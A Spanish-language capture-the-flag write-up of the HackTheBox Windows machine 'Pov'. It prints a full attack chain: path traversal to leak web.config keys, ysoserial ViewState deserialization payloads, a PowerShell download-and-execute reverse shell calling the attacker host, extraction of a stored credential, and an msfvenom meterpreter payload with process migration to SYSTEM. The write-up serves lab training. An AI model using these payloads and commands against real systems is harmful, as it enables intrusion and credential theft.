Skip to main content

Command Palette

Search for a command to run...

Pov - HackTheBox

Máquina Windows nivel Medium de la plataforma HackTheBox que forma parte del path CPTS.

Updated
6 min read
Pov - HackTheBox
E
Cybersecurity

Enumeración de Puertos y Servicios

Como de costumbre en todo CTF comenzamos enumerando los puertos abiertos en el endpoint víctima utilizando nmap.

ports=\((nmap -p- --min-rate=1000 -T4 10.129.230.183 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,\)//')

nmap -p $ports -sC -sV 10.129.230.183

Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-14 06:30 -0700
Nmap scan report for 10.129.230.183
Host is up (0.035s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
|_http-title: pov.htb
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
  • Solo disponemos del puerto 80 (http) abierto, donde se ejecuta un servidor web Microsoft IIS httpd 10.0.

  • Veremos que el nombre del sitio es pov.htb que añadiremos a nuestro archivo hosts.


echo "10.129.230.183 pov.htb" | sudo tee -a /etc/hosts

Tras acceder desde el navegador al dominio pov.htb nos encontraremos con una página estática muy simple.

Decido fuzzear en busca de otros vhost con ffuf.

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://pov.htb/ -H 'Host: FUZZ.pov.htb' -fs 12330

Encontramos el vhost dev.pov.htb que añadimos al archivo hosts.

echo "10.129.230.183 dev.pov.htb" | sudo tee -a /etc/hosts

Explotación

Accedemos al dominio desde el navegador y se nos redirige a un sitio web que parece ser el portfolio profesional de una persona, y además disponemos de un botón para descargar su CV.

Analizamos un poco las tecnologías que utiliza este servidor web.

  • Podemos ver que utiliza Microsoft ASP.NET.

El siguiente paso será capturar con burpsuite la petición al descargar el CV.

POST /portfolio/ HTTP/1.1
Host: dev.pov.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 359
Origin: http://dev.pov.htb
Sec-GPC: 1
Connection: keep-alive
Referer: http://dev.pov.htb/portfolio/
Upgrade-Insecure-Requests: 1
Priority: u=0, i

__EVENTTARGET=download&__EVENTARGUMENT=&__VIEWSTATE=G1ddxoI1yfY908%2Fv31FpjL%2FlWY7DGocF4BPZiFgEW59H4LvlQQjTaILXWRZkLou0uPVvw3Lz0enVM5E7Fk4WkjeWCc0%3D&__VIEWSTATEGENERATOR=8E0F0FA3&__EVENTVALIDATION=KW79fKJ60pvL70I7zRajxiVj3DbZ3zckgJEin1bpBrJuTKdRc%2FdMcLVG6hLAYWnWHaQjAWlKL26CCa8NG4DDBxcveGbm%2BTrRCDvs2b5bhCZ%2BXD%2FDnGqtruj2P0DtUJN8DiGT0A%3D%3D&file=cv.pdf

Veremos una serie de parámetros que nos llamaran la atención, como "VIEWSTATE".

VIEWSTATE es un campo oculto que guarda el estado de la pagina y de sus controles. El servidor lo serializa, lo envía al cliente, y luego el cliente lo devuelve en cada petición POST.

Si el ViewState no está correctamente protegido, el servidor puede:

  • Aceptar ViewState modificado por el atacante

  • Deserializar objetos controlados por el atacante

Esto puede llevar a Remote Code Execution (RCE).

Y esto es justo lo que vamos a hacer, y para ello necesitaremos una serie de valores.

ASP.NET protege el ViewState mediante una firma criptográfica (MAC) basada en el parámetro machineKey definido en el archivo de configuración web.config.

Por lo que necesitamos leer el archivo web.config para conseguir los valores decrypttionKey y validationKey.

Si nos fijamos en la petición que capturamos en burp, al final se hace referencia al archivo cv.pdf para poder descargarlo, pero si lo modificamos para obtener el archivo web.config podremos obtener los valores que necesitamos para el ataque.

file=....//web.config

Ahora podemos proceder con nuestro ataque.

./ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "ping 10.10.15.22" --path="/portfolio/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43"  --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"

cPPscvrvmATLoGaepM3RN26htBKQIZbESfPQYFq3GjNYoQFJVeEOtfCOCOk9X%2FUyA7jFUkVRhew7UtIgKR%2BBm9TuJNqPoZd03UqMrNKyAD5fcAr%2BYqJx9yUdnYluaANygnZoL8TqXUQLSS9ALbLd8pE8ufFJuZiO1R%2BCLLtbZdmvrU9g5R1jJpk1UuYCrYbK1xw8%2FoPkTWuSN2TaohYsxDjMaVm93k0833GZEOSc3PUoqHMBsnUfJ3Gw8yd%2FU7i3z9NN%2B0viCD0L0JWWwNei8AaLB1Ucn3iW97qU9%2FMoTvV%2F1vrl3V0iaCqUhFh7mEry3I8RKdHjFJdT0Sp47G8giLhc9v%2BonaRqL9L3CD1K%2BQ5LYgfW%2FlXP9Rw3qfBNGUBxnz1miU4I6uvEo5ZylMtXOCAC%2BuQhZCWp1eE8UtfECLMN3wL1d1hldvF2tDRkDFVdEAMv6SugaJU9qVBbA28y47ebItAMkiYsUcoe2DtK5FQ8hMSGWc1sux2xk2oxmBa%2Bffro1nfbmCGSx6X3Hk5QUyVCBRMBM2hcHtGrK6AtNDurQtXp3SU4z1hcmbMrwS%2FBXLeKXwkVTK7xrzBsTgnXtTMBz9lIejS0v%2BtuyqPr%2FoRhq9A1gZSsxsMj684UzLaixLQtVs77lFepwSyBwthnIgXgK7TAL1Ff7%2F68d2V3csk%2BKSDSWhDIk2WnVvafEvBxZbRvXkfxv9KSsuiB0SWzCYADDn%2B2QjVlDHEw4c89WDlul1GdDr1ft4heA59WFElqdLFXR56VlSmCj4QvrvpaFxxriFCmZiYtPyq%2BsrQ5uh%2BnWngmmmfkZPKe9xli%2B6EwvnI8CilL6r0RbxD0GL%2BszNWuA3IXK1XxpVrYeqzGylxn%2FNzPqq5g6CrUCMR%2Fg64VzazQ0eaaHykF%2B%2FomTDVd9IR8bzfd1o7oJZakVlVsqMpCK2z8scme9s2zimQ8OSf8Q3Cy3KygzZyCOmk9hU9Tgnm8yfUOpP14evVf3SjWoTlrHOg9dcY%2BdFcM0nkExjUfA26uk8OS6P6dXN%2Fn6b9GE2snZf5DZ1rf8H35zo0Mc5wEriMxF%2B%2FgGSJfMg7PfVPdvRU18uVx8B1xQZgK%2BMfmlupkNCZ4haFB8Ib5oPtfX5qeB0JPDJX%2FMenk8lRYsQxYskqu%2B7mt6AM6FV0XbeQLW9o5lFUQ7zE62xej4rcQdg2aSnqbhVofbbFNiTNtFeVrFUBmptaAMoTHhIAlOCIgCAZisSanqao8%2BDBwKtysB4tgC6qxNTixdONAPEkj91V6zQhgUPBfxUx1k5HmHjeadVMi3rE%3D

Para comprobar el funcionamiento quiero que la maquina víctima haga ping a mi maquina atacante.

Nos ponemos con tshark en escucha de paquetes icmp desde la interfaz tun0

tshark -i tun0 icmp

Pegamos la cadena serializada por ysoserial en el campo VIEWSTATE de la petición de burpsuite y hacemos click en send.

POST /portfolio/ HTTP/1.1
Host: dev.pov.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 1643
Origin: http://dev.pov.htb
Sec-GPC: 1
Connection: keep-alive
Referer: http://dev.pov.htb/portfolio/
Upgrade-Insecure-Requests: 1
Priority: u=0, i

__EVENTTARGET=download&__EVENTARGUMENT=&__VIEWSTATE=cPPscvrvmATLoGaepM3RN26htBKQIZbESfPQYFq3GjNYoQFJVeEOtfCOCOk9X%2FUyA7jFUkVRhew7UtIgKR%2BBm9TuJNqPoZd03UqMrNKyAD5fcAr%2BYqJx9yUdnYluaANygnZoL8TqXUQLSS9ALbLd8pE8ufFJuZiO1R%2BCLLtbZdmvrU9g5R1jJpk1UuYCrYbK1xw8%2FoPkTWuSN2TaohYsxDjMaVm93k0833GZEOSc3PUoqHMBsnUfJ3Gw8yd%2FU7i3z9NN%2B0viCD0L0JWWwNei8AaLB1Ucn3iW97qU9%2FMoTvV%2F1vrl3V0iaCqUhFh7mEry3I8RKdHjFJdT0Sp47G8giLhc9v%2BonaRqL9L3CD1K%2BQ5LYgfW%2FlXP9Rw3qfBNGUBxnz1miU4I6uvEo5ZylMtXOCAC%2BuQhZCWp1eE8UtfECLMN3wL1d1hldvF2tDRkDFVdEAMv6SugaJU9qVBbA28y47ebItAMkiYsUcoe2DtK5FQ8hMSGWc1sux2xk2oxmBa%2Bffro1nfbmCGSx6X3Hk5QUyVCBRMBM2hcHtGrK6AtNDurQtXp3SU4z1hcmbMrwS%2FBXLeKXwkVTK7xrzBsTgnXtTMBz9lIejS0v%2BtuyqPr%2FoRhq9A1gZSsxsMj684UzLaixLQtVs77lFepwSyBwthnIgXgK7TAL1Ff7%2F68d2V3csk%2BKSDSWhDIk2WnVvafEvBxZbRvXkfxv9KSsuiB0SWzCYADDn%2B2QjVlDHEw4c89WDlul1GdDr1ft4heA59WFElqdLFXR56VlSmCj4QvrvpaFxxriFCmZiYtPyq%2BsrQ5uh%2BnWngmmmfkZPKe9xli%2B6EwvnI8CilL6r0RbxD0GL%2BszNWuA3IXK1XxpVrYeqzGylxn%2FNzPqq5g6CrUCMR%2Fg64VzazQ0eaaHykF%2B%2FomTDVd9IR8bzfd1o7oJZakVlVsqMpCK2z8scme9s2zimQ8OSf8Q3Cy3KygzZyCOmk9hU9Tgnm8yfUOpP14evVf3SjWoTlrHOg9dcY%2BdFcM0nkExjUfA26uk8OS6P6dXN%2Fn6b9GE2snZf5DZ1rf8H35zo0Mc5wEriMxF%2B%2FgGSJfMg7PfVPdvRU18uVx8B1xQZgK%2BMfmlupkNCZ4haFB8Ib5oPtfX5qeB0JPDJX%2FMenk8lRYsQxYskqu%2B7mt6AM6FV0XbeQLW9o5lFUQ7zE62xej4rcQdg2aSnqbhVofbbFNiTNtFeVrFUBmptaAMoTHhIAlOCIgCAZisSanqao8%2BDBwKtysB4tgC6qxNTixdONAPEkj91V6zQhgUPBfxUx1k5HmHjeadVMi3rE%3D&__VIEWSTATEGENERATOR=8E0F0FA3&__EVENTVALIDATION=KW79fKJ60pvL70I7zRajxiVj3DbZ3zckgJEin1bpBrJuTKdRc%2FdMcLVG6hLAYWnWHaQjAWlKL26CCa8NG4DDBxcveGbm%2BTrRCDvs2b5bhCZ%2BXD%2FDnGqtruj2P0DtUJN8DiGT0A%3D%3D&file=cv.pdf

Podemos ver que funciona, la cadena serializada se deserializa y se ejecuta en el servidor.

De esta manera podemos introducir una reverse shell y ganar acceso al sistema, en mi caso lo hare con Invoke-PowerShellTcp.ps1 aunque serviría una reverse shell powershell encodeada en base64.

./ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell iex (New-Object Net.WebClient).DownloadString('http://10.10.15.22:1234/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.15.22 -Port 9999" --path="/portfolio/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43"  --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"
lDmERPjXIIj2W3AuxWugh1KhcyMUfm8wgqgow%2B9yjRXrk1r0OKwfsuJh4z8oMHcm42mOJT72AqmM7sFmNmd2zvShFOlPoakHHobSiRptPKOTcj7ffEYWFHRaqGGtGv778UegdnG7EgAdyagJ68bwOourJKycoXug%2FBQS4%2FnxOX3imwUdJVNcsqboYcNCkp8xTM7HAxI6z8G1wgXR%2FyRdTSlHH2%2BDyUOuEeXsMjAxIOp%2FHedkZzTSFzWoz3gNge7xPNwYZVNQ3%2FuU6I21BHXVCCd2T2hgbQSo8vsz0wBNd4saad%2FByybO%2Fb9T43ENivp0itYJd5VgJPJqoDdKlTuZitWKL0j2esKFUe4chfwnPWW%2FYw92AEZAI497NTxvjYS6TCoYPmKEnzwIdstP9rNN69sNQs3ZoLan984MRZoAzqzoHH16ovcGctY3tRFSY%2BpBX%2FxtiFO6e%2FU%2BHodQXbIXFRG7T5GsSbOW0ZzkbInGPLS%2FpGGEi1AH%2FI9ihWwDAsyIa31nu5Fe5eszKSJkQH%2Fl4FEOJJoE3iXVt0mGMgJq1gr5EaX03T4GyvRimlJK%2FI4HWSJbqRmsMCal935Icn%2BSiED9YkL1Pql2Hk7GwxYC7QMzdSig5yX2icE4SU8l%2FmaV93wZWz3bPppfwpguRQnxCtZsx4AXZqLkld7ddLUEuRWbwiO7jtOrtVC3iLUNWo7%2FOWErHBI%2BC071ArS3sI5jiOjz0OseWc340yu4qicb2p6Rvr4dxmyT1EGTCpYmddaVA0I1s8FCvq%2B1FJVBQYuCw7LZA3KWJnCChqTNmdlAHMsQ%2BSmR3jx9z8JdrqFRyvE8SA9Yd%2FUYR1z2t78%2BvFJHzId%2FwkSPAe6Mq%2F3ut%2BirIF1PxXSAtbBXWgrwqwOkrQhexJiGThZkCLvEgvtYJTh%2FRUrZCm%2FNg0HW1QkktqJml4b5CZkcob58ToPIO9fMtlxbtV1LP1%2BfGKHRxtv8LwLy5eTHDNm0GoXJsN%2FPWocQEn5kbS%2FfOIzpnQ50L4IgxGyQfmmASFgqnJSqsZXW4MEFzqOvlWAUZfxiJ6eaWAh6yHP1jxaNAOMex7vNnyF0hb5nUqzOt7a2zJT2%2BdlY%2B%2BhojR7vilLaZzQQlnU8BHEYP%2F%2Ff79YI97nRqaZFbh3WZw2k8pM0zcP7GzUogBhVMrmdR1w4SFYBhDqKneDdY57oIHO8btT5rJrXHyBpqybsPgOfQwdHIowasSrDfY6DBOKnsctSuYaSG9qIZfJlZnwNOkL7pgr%2FfUwLCSID8KaaNlRChgFOOLlBVxTuALwVFH3gaENzvIvzpGB7S0NPUMVdoNmfEqgMovo80DN5anr%2BfNGrWh7KCyqRFXMWxJAIFjcTQFv9lWjm0%2FWz2m7Ubm6Lvd1gAjvQN2GUF6c4YGK4XBK4hC6US%2FaLziT7PgQEx43GLAHFWbvHRoWkF4%2F90X4BObQPpzIIhyrM1DJWqSf4mtS5RvZmckIomxzRlTaw0N9cLovazug%3D

De nuevo añadimos la cadena serializada y le damos click a send y recibiremos en nuestra sesión de netcat la conexión inversa.


Movimiento Lateral

Tras ganar acceso al equipo descubrimos que existe el usuario alaading, y tras una breve enumeración encontramos unas credenciales asociadas a este usuario en la ruta C:\Users\sfitz\Documents\connection.xml.

Este es un archivo de exportación de credenciales de PowerShell. Su propósito principal es guardar un nombre de usuario y una contraseña de manera segura para que un script pueda usarlas sin pedirlas cada vez ni almacenarlas en texto plano.

Podemos obtener el valor de esta contraseña de la siguiente forma:

PS C:\Users\sfitz\Documents> $cred = Import-Clixml -Path "connection.xml"
PS C:\Users\sfitz\Documents> \(pass = \)cred.GetNetworkCredential().Password
PS C:\Users\sfitz\Documents> $pass
<pass>

A continuación debemos utilizar las credenciales para obtener acceso al sistema con el usuario alaading y poder leer al primera flag de user.

Para ello hacemos uso de RunasCs, por lo que tras compilarlo lo subimos a la maquina víctima y ejecutamos el siguiente comando, teniendo un oyente de netcat en el puerto 9090 en escucha.

./runascs.exe alaading <pass> powershell -r <iptun0>:9090

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-7c9c2$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 3840 created in background.

Y recibimos la conexión en nuestro oyente de netcat como el usuario alaading.

Llegados a este punto ya solo nos queda escalar privilegios y ganar acceso como Administrador.


Escalada de Privilegios

Enumeramos los privilegios que dispone el usuario alaading.

whoami /priv

El usuario dispone del privilegio SeDebugPrivilege, que permite a un usuario depurar y manipular procesos de otros usuarios, incluso los procesos del sistema (como lsass.exe o winlogon.exe).

La manera mas sencilla es generar un ejecutable malicioso con msfvenom, subirlo a la maquina y obtener la conexión directamente en metasploit a traves de multi/handler para posteriormente migrarnos a uno de los procesos privilegiados.

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=<iptun0> LPORT=3333 -f exe -o reverse.exe
msf exploit(multi/handler) > use exploit/multi/handler
[*] Using configured payload windows/x64/meterpreter_reverse_tcp
[*] No encoder configured, defaulting to x64/zutto_dekiru
msf exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp
payload => windows/x64/meterpreter_reverse_tcp
msf exploit(multi/handler) > SET LHOST tun0

Utilizamos el PID 548 asociado al proceso winlogon y ejecutamos el comando migrate 548 y nos migraremos a este proceso y nos habremos convertido en el usuario con máximos privilegios NT AUTHORITY\SYSTEM.